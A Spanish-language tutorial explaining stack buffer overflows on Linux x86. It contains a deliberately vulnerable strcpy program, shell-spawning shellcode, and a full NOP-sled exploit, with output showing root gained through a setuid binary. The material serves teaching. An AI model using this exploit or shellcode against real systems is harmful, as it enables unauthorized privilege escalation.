+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

   Descripcion del ataque por buffer overflow.
   -----------------------------------------------------

   autor: Daniel Lerch
   plataforma: Linux x86


   El siguiente codigo y documentacion ha sido desarrollado con propositos 
   educativos. El autor no se hace responsable del mal uso de lo que aqui se
   expone.

   Este texto ha sido escrito sin acentos y las enes con tilde han sido
   substituidas por ~ para evitar problemas de visualizacion.

+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++


1._ Introduccion.
2._ ¿Que es un ataque buffer overflow?
3._ Desarrollo de un exploit.
4._ Referencias.


]== 1._ Introduccion. ========================================================[

En este documento se describe el funcionamiento de los ataques por buffer
overflow. Existen muchos documentos que se ocupan de este tema, aunque 
considero que en su mayoria complican demasiado la explicacion de un concepto
que en absoluto es complicado. El objetivo de este documento es dar un enfoque 
sencillo y educativo al buffer overflow. Espero haberlo conseguido.


]== 2._ ¿Que es un buffer overflow? ==========================================[

Un buffer overflow, como su mismo nombre indica, consiste en escribir en un
buffer mas datos de los que es capaz de contener. En el lenguaje C este caso
suele darse con funciones que no comprueban el tama~o de los buffers como
strcpy(), sprintf(), etc. Un ejemplo tipico y sencillo es el siguiente:


>>> vulnerable.c >>>

#include 

void vulnerable (char *param) {

   char buffer[512];
   strcpy (buffer, param);
}
                                                                                
int main (int argc, char **argv) {

   if (argc!=2) {
                                                                                
      printf ("Uso: %s \n", argv[0]);
      return 0;
   }
                        
   vulnerable (argv[1]); 
   return 0;
}

<<<<<<<<<<<<<<<<<<<<

Como se puede ver en el programa anterior el buffer ha sido dise~ado para 
contener un maximo de 512 bytes. El (mal) uso de la funcion strcpy() permite
al usuario del programa copiar en el buffer mas de 512 bytes, desbordandolo. 
¿Que ocurrira?

$ gcc vulnerable.c -o vulnerable
$ ./vulnerable `perl -e "print 'A'x1000;"`
Violacion de segmento

El resultado de pasar como parametro un cadena de 1000 As, ha sido un fallo
de segmentacion. Veamos cual es el motivo.

El programa vulnerable, en una maquina Linux x86, utilizaria la pila del 
sistema como en el siguiente dibujo:

                   __________________  <------ %esp (Stack Pointer)
                  |                  |
                  |       ...        |
                  |                  |
                  |__________________|
                  |      buffer      |
                  |__________________|
                  |      buffer      |
                  |__________________|
                  |      buffer      |
                  |__________________|
                  |  Frame Pointer   |
                  |__________________|
                  |  Return address  |
                  |__________________|
                  |      param       |
                  |__________________|
                  |      param       |
                  |__________________|
                  |      param       |
                  |__________________|
                  |                  |
                  |       ...        |
                  |                  |
                  |                  |


El stack pointer es un registro que guarda la direccion donde empieza la pila. 
Esta direccion suele ser siempre la misma en todos los programas. 

Cuando un programa llama a una funcion debe guardar la direccion en la que se
encuentra para saber donde volver cuando la funcion termine. Esta direccion
se guarda en el stack y es conocida como direccion de retorno. 
                  
Veamos, cuando empieza la funcion vulnerable(), se guarda en la pila los
parametros que recibe la funcion (param), la direccion de retorno, el frame
pointer y a continuacion las variables que se declaran en la funcion. En
nuestro caso, buffer. Quedando como en el dibujo anterior.

Al desbordar buffer con la cadena de letras A (en hexadecimal 0x41), primero 
se sobreescreibiria el Frame Pointer, despues se sobreescribiria la direccion 
de retorno (return address), los parametros, etc.
Quedando la pila de la siguiente manera:


                   __________________  <------ %esp (Stack Pointer)
                  |                  |
                  |       ...        |
                  |                  |
                  |__________________|
                  |    0x41414141    |  <-- buffer
                  |__________________|
                  |    0x41414141    |  <-- buffer
                  |__________________|
                  |    0x41414141    |  <-- buffer
                  |__________________| 
                  |    0x41414141    |  <-- Frame Pointer
                  |__________________|
                  |    0x41414141    |  <-- Return address
                  |__________________|
                  |    0x41414141    |  <-- param
                  |__________________|
                  |    0x41414141    |  <-- param
                  |__________________|
                  |    0x41414141    |  <-- param
                  |__________________|
                  |                  |
                  |       ...        |
                  |                  |
                  |                  |
                   
Cuando la funcion termine, sacara la direccion de retorno de la pila y saltara
a ella. Esta direccion ha sido modificada por el overflow y ahora es 0x41414141
(las As en hexadecimal). Al saltar a 0x41414141 e intentar ejecutar una
instruccion, como se encuentra fuera del espacio de direcciones, obtendra un 
fallo de segmentacion.
                  
Es evidente que esto nos permite cambiar el flujo de ejecucion del programa. 
Solo hemos de ser capaces de sobreescribir la direccion de retorno con una 
direccion que apunte a algun lugar de la pila con codigo ejecutable. 

Imaginemos que somos capaces de sobreescribir la pila con nuestro buffer
overflow de manera que quede como en el siguiente dibujo:


                   __________________  <------ %esp (Stack Pointer)
                  |                  |
                  |       ...        |
                  |                  |
                  |__________________|
         ------>  | NOP NOP NOP NOP  |  <-- buffer
        |         |__________________|
        |         | NOP NOP NOP NOP  |  <-- buffer
        |         |__________________|
        |         |    SHELLCODE     |  <-- buffer
        |         |__________________| 
        |         | RET RET RET RET  |  <-- Frame Pointer
        |         |__________________|
         -------  | RET RET RET RET  |  <-- Return address
                  |__________________|
                  | RET RET RET RET  |  <-- param
                  |__________________|
                  | RET RET RET RET  |  <-- param
                  |__________________|
                  | RET RET RET RET  |  <-- param
                  |__________________|
                  |                  |
                  |       ...        |
                  |                  |
                  |                  |
 

Donde NOP es una operacion del procesador que no hace nada, SHELLCODE es
nuestro codigo ejecutable y RET una direccion de retorno falseada que apunta
a algun lugar de la zona de NOPs.

Si todo saliese bien, cuando el progama saltase a la direccion de retorno 
(modificada por el buffer overflow) iria a parar a algun lugar de la zona de 
NOPs y a continuacion pasaria de un NOP al siguiente hasta llegar a la 
SHELLCODE, que seria ejecutada.

¿Sencillo no? 
Pues solo es necesario desarrollar un programa (o exploit) que cree un buffer
con las caracteristicas mencionadas.

El unico problema con el que nos podemos encontrar consiste en averiguar
a que distancia del stack se encuntra la zona de NOPs. Si no acertamos,
nuestro programa saltara a una zona equivocada, produciondo un error de 
segmentacion, de intruccion no valida, etc.
Por este motivo nuestro exploit debera ser un programa parametrizado que nos
permita modificar el offset (distancia del stack pointer a la zona de NOPs).

Antes de empezar con el desarrollo del exploit, es necesario hacer algunos
comentarios acerca de la shellcode:
La shellcode es el codigo ejecutable que hay que colocar en el stack. Ahora
no se entrara en como se desarrolla. Solo decir que consiste en un codigo 
hexadecimal que depende del sistema operativo y la plataforma. En el exploit
de ejemplo se utilizara la siguiente:

\x31\xdb\x8d\x43\x17\xcd\x80\x31\xd2\x52\x68\x6e\x2f\x73\x68
\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd
\x80\x31\xc0\x40\xcd\x80

Este codigo, para Linux x86, proporciona una shell interactiva al usuario.



]== 3._ Desarrollo de un exploit. ============================================[

Segun se ha explicado en el apartado anterior, el desarrollo del exploit 
consiste en crear un buffer con unas caracteristicas especiales, y utilizarlo
para desbordar el programa vulnerable.

Los pasos a seguir por el exploit son los siguientes:

   1. Crear un buffer de tama~o superior al buffer original. Unos 100 bytes mas
      son suficientes. Aunque en nuestro caso bastaria con unos cuantos menos.

   2. Buscar el stack pointer. Con una funcion como la siguiente:
      unsigned long get_sp(void) {   __asm__("movl %esp,%eax"); }

   3. Obtener una direccion de retorno restando un offset a la direccion del
      stack pointer.

   3. Rellenar el buffer con la estructura estudiada. Mas o menos asi:
      BUFFER: NNNNNNNNNN SSSSSSSSSS RRRRRRRRRR

   4. Ejecutar el programa vulnerable con nuestro buffer como parametro.


Veamos el programa de ejemplo:

>>> exploit.c >>>>>>

#include 
#include 
#include 
                                                                                
#define NOP 0x90
                                                                                
char shellcode[]=
"\x31\xdb\x8d\x43\x17\xcd\x80\x31\xd2\x52\x68\x6e\x2f\x73\x68"
"\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd"
"\x80\x31\xc0\x40\xcd\x80";
                                                                                
/* Retorna el stack pointer */
unsigned long get_sp(void) {
   __asm__("movl %esp,%eax");
}
                                                                                
int  main(int argc, char *argv[]) {
                                                                                
   char *buffer;
   char *pbuffer;
                                                                                
   long *addr_pbuffer;
   long  nop_addr;
                                                                                
   int offset=0;
   int size;
   int i;
                                                                                
                                                                                
   if (argc!=3) {
                                                                                
      printf ("Uso: %s  \n", argv[0]);
      return 0;
   }

   size  = atoi(argv[1]) + 100;
   offset = atoi(argv[2]);
                                                                                
   if (!(buffer = malloc(size))) {
                                                                                
      printf("malloc()\n");
      exit(0);
   }
                                                                                
   /* Direccion aproximada de la zona de NOPs */
   nop_addr = get_sp() - offset;
                                                                                
   /*
    *  Llenamos el buffer con la direccion de retorno (R):
    *  BUFFER: RRRRRRRRRRRRRRRRRRRRRRRRRRRRRRR
    */
   pbuffer = buffer;
   addr_pbuffer = (long *) pbuffer;
   for (i = 0; i < size; i+=4)
      *(addr_pbuffer++) = nop_addr;
                                                                                
   /*
    *  Llenamos la primera mitad del buffer con NOPs
    *  BUFFER: NNNNNNNNNNNNNNN RRRRRRRRRRRRRRRR
    */
   for (i = 0; i < size/2; i++)
      buffer[i] = NOP;

   /*
    *  Ponemos la shellcode (S) en la mitad del buffer
    *  BUFFER: NNNNNNNNNN SSSSSSSSSS RRRRRRRRRR
    */
   pbuffer = buffer + ((size/2) - (strlen(shellcode)/2));
   for (i = 0; i < strlen(shellcode); i++)
      *(pbuffer++) = shellcode[i];
                                                                                
   /* Delimitamos el final del buffer */
   buffer[size - 1] = '\0';
                                                                                
   /* Ejecutamos el exploit */
   execl("./vulnerable", "vulnerable", buffer, 0);
                                                                                
   return 0;
}

<<<<<<<<<<<<<<<<<<<<


Probemos nuestro exploit:

$ gcc exploit.c -o exploit
$ ./exploit
Uso: ./exploit  

Pasamos como parametro el tama~o del buffer de nuestro programa vulnerable y,
de momento un offset de 0.

$./exploit 512 0
sh-2.05b#

A la primera! Mucha suerte hemos tenido. 
Probemos con un buffer inferior. Compilemos vulnerable con un buffer de 256.

   ...
   char buffer[256];
   strcpy (buffer, param);
   ...

$ gcc vulnerable.c -o vulnerable
$  ./exploit 256 0
Instruccion ilegal
$ ./exploit 256 100
Violacion de segmento
$ ./exploit 256 200
Violacion de segmento
$ ./exploit 256 300
Instruccion ilegal
$ ./exploit 256 400
Violacion de segmento
$ ./exploit 256 500
sh-2.05b# 

En pocos intentos ya tenemos nuestra shell. 
Hagamos una ultima prueba con un buffer de 2048 bytes.

   ...
   char buffer[2048];
   strcpy (buffer, param);
   ...

gcc vulnerable.c -o vulnerable
$ ./exploit 2048 0
Instruccion ilegal
$ ./exploit 2048 500
Instruccion ilegal
$ ./exploit 2048 1000
sh-2.05b#

Como puede comprobarse, no resulta muy dificil encontrar la distancia desde el
stack pointer a la zona de NOPs.


Para finalizar veamos un ejemplo de como puede utilizarse un ataque de buffer
overflow para escalar privilegios.

Supongamos un programa vulnerable setuid. Podemos crear uno con:

$ chmod +s vulnerable
$ ls -lh vulnerable
-rwsr-sr-x  1 root root 4,9K jul 26 17:49 vulnerable

... y un usuario sin privilegios:

$ id
uid=500(pepito) gid=500(pepito) grupos=500(pepito)


El usuario sin privilegios puede explotar vulnerable y obtener su privilegio
de root. Veamos:

$ id
uid=500(pepito) gid=500(pepito) grupos=500(pepito)
$ exploit 2048 1000
sh-2.05b# id
uid=0(root) gid=500(pepito) groups=500(pepito)



]== 4._ Referencias. =========================================================[

Smashing The Stack For Fun And Profit
 http://www.phrack.org/phrack/49/P49-14

How to write Buffer Overflows
 http://www.insecure.org/stf/mudge_buffer_overflow_tutorial.html



daniellerch.com